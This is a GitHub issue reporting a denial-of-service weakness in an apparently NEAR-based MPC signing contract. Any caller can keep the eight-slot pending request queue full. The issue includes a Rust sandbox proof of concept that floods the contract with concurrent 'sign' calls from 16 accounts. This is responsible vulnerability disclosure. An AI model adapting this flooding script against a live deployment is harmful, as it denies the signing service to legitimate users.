Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Potential DoS of main functionality by keeping the queue full #576

Open
timurguvenkaya opened this issue Apr 22, 2024 · 0 comments
Open
Labels
Emerging Tech Emerging Tech flying formation at Pagoda Near BOS NEAR BOS team at Pagoda

Comments

@timurguvenkaya
Copy link

Description

Malicious actors can cause DoS on contract by constantly keeping the pending requests full. There is a limit of 8, so it is possible to simply constantly send payloads, which will prevent others from submitting payloads to sign (or severely limit the number). There should be a potential financial mechanism, which will discourage malicious actors from keeping the queue full or almost full, which will decrease the throughput

POC

use mpc_contract::primitives::CandidateInfo;
use near_workspaces::{network::Sandbox, AccountId};
use serde_json::json;
use std::collections::HashMap;

const CONTRACT_FILE_PATH: &[u8] =
    include_bytes!("../../target/wasm32-unknown-unknown/release/mpc_contract.wasm");

struct Env {
    contract: near_workspaces::Contract,
    malicious_account: near_workspaces::Account,
    candidates: HashMap<AccountId, CandidateInfo>,
    worker: near_workspaces::Worker<Sandbox>,
}

async fn prepare() -> anyhow::Result<Env> {
    let worker = near_workspaces::sandbox().await?;

    let malicious_account = worker.dev_create_account().await?;

    println!("Malicious account is created: {}", malicious_account.id());

    let contract = worker.dev_deploy(CONTRACT_FILE_PATH).await?;

    println!("Contract is deployed: {}", contract.id());

    let candidates: HashMap<AccountId, CandidateInfo> = HashMap::new();

    contract
        .call("init")
        .args_json(serde_json::json!({
            "threshold": 2,
            "candidates": candidates
        }))
        .transact()
        .await?
        .into_result()?;

    Ok(Env {
        contract,
        malicious_account,
        candidates,
        worker,
    })
}

#[tokio::test]
async fn dos() -> anyhow::Result<()> {
    let Env {
        contract, worker, ..
    } = prepare().await?;

    let account_handles = (0..16).map(|_| worker.dev_create_account());
    let accounts: Vec<_> = futures::future::try_join_all(account_handles).await?;

    for account in &accounts {
        println!("Account is created: {}", account.id());
    }

    let contract_id = contract.id();

    let handle_vec = accounts
        .into_iter()
        .enumerate()
        .map(|(i, acc)| {
            println!("Iteration: {}", i);
            let arr = [i as u8; 32];
            acc.call(&contract_id, "sign")
                .args_json(json!({"payload": arr, "path": "", "key_version": 0}))
                .max_gas()
                .transact()
        })
        .collect::<Vec<_>>();

    // Wait for all futures to complete
    let results = futures::future::join_all(handle_vec).await;

    // Process results
    for result in results {
        match result {
            Ok(ok_result) => match ok_result.into_result() {
                Ok(good_result) => println!("Result: {:?}", good_result),
                Err(e) => println!("Error: {:?}", e),
            },
            Err(e) => println!("Error handling future: {:?}", e),
        }
    }

    Ok(())
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Emerging Tech Emerging Tech flying formation at Pagoda Near BOS NEAR BOS team at Pagoda
Projects
Status: Backlog
Development

No branches or pull requests

1 participant